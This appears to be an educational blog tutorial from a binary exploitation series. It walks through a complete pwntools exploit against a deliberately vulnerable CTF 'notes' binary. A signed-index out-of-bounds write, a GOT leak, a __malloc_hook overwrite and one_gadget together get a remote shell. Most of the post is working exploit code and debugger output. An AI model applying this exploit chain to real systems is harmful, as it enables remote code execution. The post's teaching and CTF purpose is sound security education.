Binary Exploitation Series (7): Full RelRO Bypass
Hello everyone!
Today we are going to bypass Full RelRO
by using a relative write out-of-bounds vulnerability. Like last time, we have access to the binary (no libc provided) and we have to leak some information to identify the correct libc version. You can download the challenge along with the source code.
gef➤ checksec
[+] checksec for './notes'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Full
ASLR is activated ;-)
Relocation Read-Only (RelRO)
If we have the possibility to abuse a vulnerability to write to arbitrary locations in memory (e.g. format string attacks, control over pointers, out-of-bounds write …) instead of a basic buffer overflow vulnerability like last times, we need to figure out how to get control over the execution flow (RIP/EIP
). One way to achieve this is to overwrite the Global Offset Table (GOT) which is a look-up table for dynamically linked ELF binaries to resolve functions that are located in shared libraries.
For example, our target uses the function puts
. We could overwrite the entry for puts
in the GOT with 0x4141414141414141
and the next time the function is called it would jump to our specified address.
To prevent such attacks RelRO was introduced. If fully activated, the linker resolves all the functions the binary uses at the beginning of execution and sets the GOT as read-only.
More details at www.redhat.com
In the following, we have a comparison of the notes
challenge where we can see that the functions are successfully resolved during startup. Each compiled challenge is started in gdb
with the command start
Partial RelRO active (not read only, no resolves at startup):
gef➤ disassemble main
...
0x0000000000400d63 <+160>: call 0x400720 <memset@plt>
0x0000000000400d68 <+165>: jmp 0x400d0b <main+72>
End of assembler dump.
gef➤ disassemble 0x400720
Dump of assembler code for function memset@plt:
0x0000000000400720 <+0>: jmp QWORD PTR [rip+0x20191a] # 0x602040
0x0000000000400726 <+6>: push 0x5
0x000000000040072b <+11>: jmp 0x4006c0
End of assembler dump.
gef➤ x/20gx 0x602040
// calls for dynamic resolver
// e.g. memset@plt
0x602040: 0x0000000000400726 0x0000000000400736
0x602050: 0x0000000000400746 0x0000000000400756
After the first resolve, the pointer at 0x602040
would be replaced with the real address of memset
located in libc.
Full RelRO active:
gef➤ disassemble main
...
0x0000000000400d63 <+160>: call 0x400720 <memset@plt>
0x0000000000400d68 <+165>: jmp 0x400d0b <main+72>
End of assembler dump.
gef➤ disassemble 0x400720
Dump of assembler code for function memset@plt:
0x0000000000400720 <+0>: jmp QWORD PTR [rip+0x2018a2] # 0x601fc8
0x0000000000400726 <+6>: push 0x5
0x000000000040072b <+11>: jmp 0x4006c0
End of assembler dump.
gef➤ x/20gx 0x601fc8
//libc functions already resolved
0x601fc8: 0x00007ffff7b72f50 0x00007ffff7a8de70
0x601fd8: 0x00007ffff7b72ad0 0x00007ffff7a7b070
Libc (vmmap)
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
Target
The target is a little bit longer than before but not complex. We have a “customer line” and each customer has the opportunity to save, edit and show a note. A customer has 3 options to edit a note:
- Replace substring
- Replace character at position
- Overwrite whole note
Read the source code, play with the binary and understand the behavior of the challenge.
Analysis & Exploitation
In one of the edit functions is a vulnerability which will lead to an out-of-bounds write. Try to find the vulnerability by yourself.
Hint: In the second option!
Okay, did you find it?
Let’s analyze the function:
void string_replace_char()
{
int pos;
char character;
char input[5];
while(1)
{
printf("Usage: <position>,<new character>\n> ");
scanf(" %d,%c", &pos, &character);
if(pos >= MAX_BUF-1)
{
puts("Result is out of range.");
return;
}
note[pos] = character;
printf("Your current note is %s\n", note);
puts("Done? (YES) ");
scanf(" %4s", input);
if(strcmp(input, "YES") == 0 || strcmp(input, "yes") == 0)
{
puts("Saved!\n");
return;
}
}
}
First, some variables are defined which are later used to replace one character at the time. After that, we can use a command-line style replace function to replace characters in our note. The first thing to notice is, that we could overwrite a null byte if our string is smaller than the max length. But since the note is always cleared with memset
for each customer we cannot abuse this to leak data of a previous customer.
If we look carefully we can see that the position is verified with if(pos >= MAX_BUF-1)
. But as we remember, the position variable is defined as a (signed) integer and therefore, we can also use negative values!
A possible fix would be a change of the type to unsigned int
.
Let’s confirm the relative out-of-bounds write. Steps to reproduce:
- Start the challenge:
gdb notes
->run
- Enter customer name: “AAAA”
- Enter new note
- Option “2”
- “BBBB”
- Edit note with character replace
- “3”
- “2”
- “-1,C”
- “-2,C”
CTRL-C
Use the command vmmap
to display the virtual memory map.
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
Examine the memory:
gef➤ x/20gx 0x0000000000602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010: 0x0000000000000000 0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd0680 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <customer_name>: 0x0000000000603260 0x0000000000000000
0x602070: 0x0000000000000000 0x4343000000000000
0x602080 <note>: 0x0000000042424242 0x0000000000000000
0x602090 <note+16>: 0x0000000000000000 0x0000000000000000
If we take a look at the line with address 0x602070
we see our C’s (0x43) which are definitely out of bounds because the note starts at 0x602080
.
We confirmed an out-of-bounds write with negative values. That means, that we can overwrite everything before the note array. In this case, the customer_name
is interesting because it is a pointer to a string in the heap (allocated via malloc
in main()
). It is also possible to write to its destination (via “Who is next?” in main()
) and we can read the value (printf
in serve()
and main()
). Very powerful!
During exploit development, you should start writing your exploit as soon as possible. Multiple tasks can be easily automated and will save you a lot of time. So, let’s start writing our exploit!
Steps:
- Load and start the binary via
process
ofpwntools
- Define functions for different parts of the application
recv_help
save_note
- …
- Get control over
customer_name
- Leak libc pointer via GOT (read is still possible)
- Identify libc version
- Compute libc base address
- Set a malloc hook (more later) in libc to point to
0x4141414141414141
- Find one-shot gadgets and set the malloc hook to point to the gadget
- Profit!
The first two parts are easy and only the code will be shown here.
Try it by yourself. :)
from pwn import process, remote, gdb, context, p64, u64, ELF, log
from binascii import hexlify
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
chal = ELF("./notes")
r = process("./notes")
gdb.attach(r.pid,"""
""")
def recv_help():
r.recvuntil("want to do, ")
r.recvuntil("?\n")
def save_note(note):
r.sendline("2")
r.recvuntil("?")
r.sendline(note)
# Who is next?
r.recvuntil("next?")
r.sendline("AAAA") # dummy
recv_help()
save_note("BBBB") # dummy
recv_help()
r.interactive() # keeps everything open
We created a customer and successfully saved a note. Next, we have to find the offset to the customer_name
.
This can be done with gdb
.
Run the script, go to the gdb
window, type continue
and let it run. After it has paused (reads from stdin), we press CTRL-C
to be able to type gdb
commands. We show the memory map and print the section where the not initialized variables are stored.
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /.../notes
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /.../notes
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /.../notes
0x0000000000795000 0x00000000007b6000 0x0000000000000000 rw- [heap]
gef➤ x/20gx 0x0000000000602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010: 0x0000000000000000 0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007f95b4b01760 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>: 0x00007f95b4b01680 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <customer_name>: 0x0000000000795260 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <note>: 0x0000000042424242 0x0000000000000000
0x602090 <note+16>: 0x0000000000000000 0x0000000000000000
Okay, note
is at 0x602080
and our customer_name
pointer is at 0x602060
. This is a difference of 0x20
(32). Therefore, we can overwrite the pointer at offset -32
via the character replace mechanism.
To make everything reusable and easy to use we define another function. This function implements the behavior of the edit function with character replace. It supports also strings because the string is enumerated while the offset is increased. Therefore, we can write arbitrary byte sequences relative to our note array. (As long as the index is smaller than MAX_BUF-1
)
def write(offset, data):
log.debug("Write(hex): %s @ %d" % (hexlify(data), offset))
r.sendline("3")
r.recvuntil("note\n")
r.sendline("2")
for idx, byte in enumerate(data):
r.recvuntil("\n>")
r.sendline(str(offset+idx) + "," + byte)
r.recvuntil("Done? (YES) ")
r.sendline("NO")
#send dummy and save
r.recvuntil("\n>")
r.sendline("0,A")
r.sendline("YES")
r.recvuntil("Saved!\n")
Now, we can use the function as follows:
write(-32, p64(0x4141414141414141))
Id 1, Name: "notes", stopped, reason: SIGSEGV
...
gef➤ x/20gx 0x0000000000602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010: 0x0000000000000000 0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007fad4ad4d760 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040 <stderr@@GLIBC_2.2.5>: 0x00007fad4ad4d680 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060 <customer_name>: 0x4141414141414141 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <note>: 0x0000000042424241 0x0000000000000000
0x602090 <note+16>: 0x0000000000000000 0x0000000000000000
We successfully overwrote the customer_name
and the application crashed because the address 0x4141414141414141
is not mapped and cannot be resolved by the following printf
in serve()
.
Next, we have to leak libc function addresses. Let’s get the GOT offsets:
$ objdump -R notes
notes: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000601ff0 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000601ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000602020 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000602040 R_X86_64_COPY stderr@@GLIBC_2.2.5
0000000000601fa0 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
0000000000601fa8 R_X86_64_JUMP_SLOT strlen@GLIBC_2.2.5
0000000000601fb0 R_X86_64_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0000000000601fb8 R_X86_64_JUMP_SLOT setbuf@GLIBC_2.2.5
0000000000601fc0 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5
0000000000601fc8 R_X86_64_JUMP_SLOT memset@GLIBC_2.2.5
0000000000601fd0 R_X86_64_JUMP_SLOT strcmp@GLIBC_2.2.5
0000000000601fd8 R_X86_64_JUMP_SLOT memcpy@GLIBC_2.14
0000000000601fe0 R_X86_64_JUMP_SLOT malloc@GLIBC_2.2.5
0000000000601fe8 R_X86_64_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
or use pwntools
again:
chal = ELF("./notes")
chal.got["puts"]
We just have to take an offset to a function in the GOT, overwrite the customer_name
and exit the edit function to print the customer_name
in serve()
.
For that, we have to edit our recv_help
function to return the leak
# return leak
def recv_help():
r.recvuntil("want to do, ")
leak = r.recvuntil("?\n")[:-2]
return leak
and leak the pointer
write(-32, p64(chal.got["puts"])) # GOT offset of puts
leak = recv_help()
# Pad leak with null bytes to use u64
# e.g. \x41\x41\x41 would be \x41\x41\x41\x00\x00\x00\x00\x00
leak = u64(leak.ljust(8, "\x00"))
log.info("puts @ " + hex(leak))
r.interactive()
Verify it with gdb
:
gef➤ p puts
$1 = {int (const char *)} 0x7f70208839c0 <_IO_puts>
Script output:
...
[*] puts @ 0x7f70208839c0
...
We can leak more pointers and identify the libc version with blukat.me like in Chapter 4.
Furthermore, we can compute the libc base which can be verified in gdb
(vmmap
).
libc_base = leak - libc.symbols["puts"]
log.info("libc base @ " + hex(libc_base))
“The GNU C Library lets you modify the behavior of malloc, realloc, and free by specifying appropriate hook functions.” [Hooks-for-Malloc]
To get RIP
control we can modify these hooks of libc. First, compute the hooks address in memory based on the libc leaks.
malloc_hook_address = libc_base + libc.symbols["__malloc_hook"]
log.info("__malloc_hook @ %s" % hex(malloc_hook_address))
Set the customer_name
pointer and use it to overwrite the “customer name” via scanf
(in main()
) which points to the hook.
# point customer_name to __malloc_hook
write(-32, p64(malloc_hook_address))
# exit and trigger next customer
r.sendline("5") # exit
# Who is next?
r.recvuntil("next?")
r.sendline(p64(0x4141414141414141))
save_note("DUMMY")
r.sendline("3")
r.recvuntil("note\n")
r.sendline("2")
r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook
Segfault! We successfully overwrote the hook and got control over execution flow.
0x7f8d1958f27b <malloc+523> jmp rax
-> $rax : 0x4141414141414141
The final step is to find suitable one-shot gadgets and trigger an execve
to get a shell.
one_gadget <identified libc>
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
Of course, you have to try all if some are not working because some constraints are not met.
one_gadget = libc_base + 0x4f322
# Who is next?
r.recvuntil("next?")
r.sendline(p64(one_gadget))
....
r.sendline("0"*0x10000 + ",A") # trigger __malloc_hook
r.sendline("ls;")
r.interactive()
Using the second gadget we notice that on each run the response is different. This is because the values on the stack are different on each run and we have to try it more than once. After some tries, we get a response from the target and we executed our commands.
....
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,A: File name too long
notes.c notes
Now let’s try it remotely.
Spawn the challenge with socat
(apt install socat
) at port 1337
socat tcp-l:1337,reuseaddr,fork system:"timeout 60 ./notes"
and test the connection:
$ nc localhost 1337
Who is next?
AAAA
#############
1 - HELP
2 - Save note
3 - Edit note
4 - Show note
5 - Exit
#############
Modify the exploit and run it against the remote target. Note that if you have a different libc version on your system you would have to adjust the libc path to the remote one. Furthermore, you would have to change the one-shot gadget.
#r = process("./notes")
r = remote("localhost", 1337)
#gdb.attach(r.pid,"""
#""")
...
$ python exploit.py
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to localhost on port 1337: Done
[*] puts @ 0x7f91453009c0
[*] libc base @ 0x7f9145280000
[*] __malloc_hook @ 0x7f914566bc30
[*] Switching to interactive mode
Usage: <position>,<new character>
> notes
notes.c
$ id
uid=1000(work) gid=1000(work)
$
Yay! We got a shell and successfully bypassed RelRO
! Interesting how such a small bug (signed integer and no negative value checks) can lead to full control over a remote system.
Happy Hacking!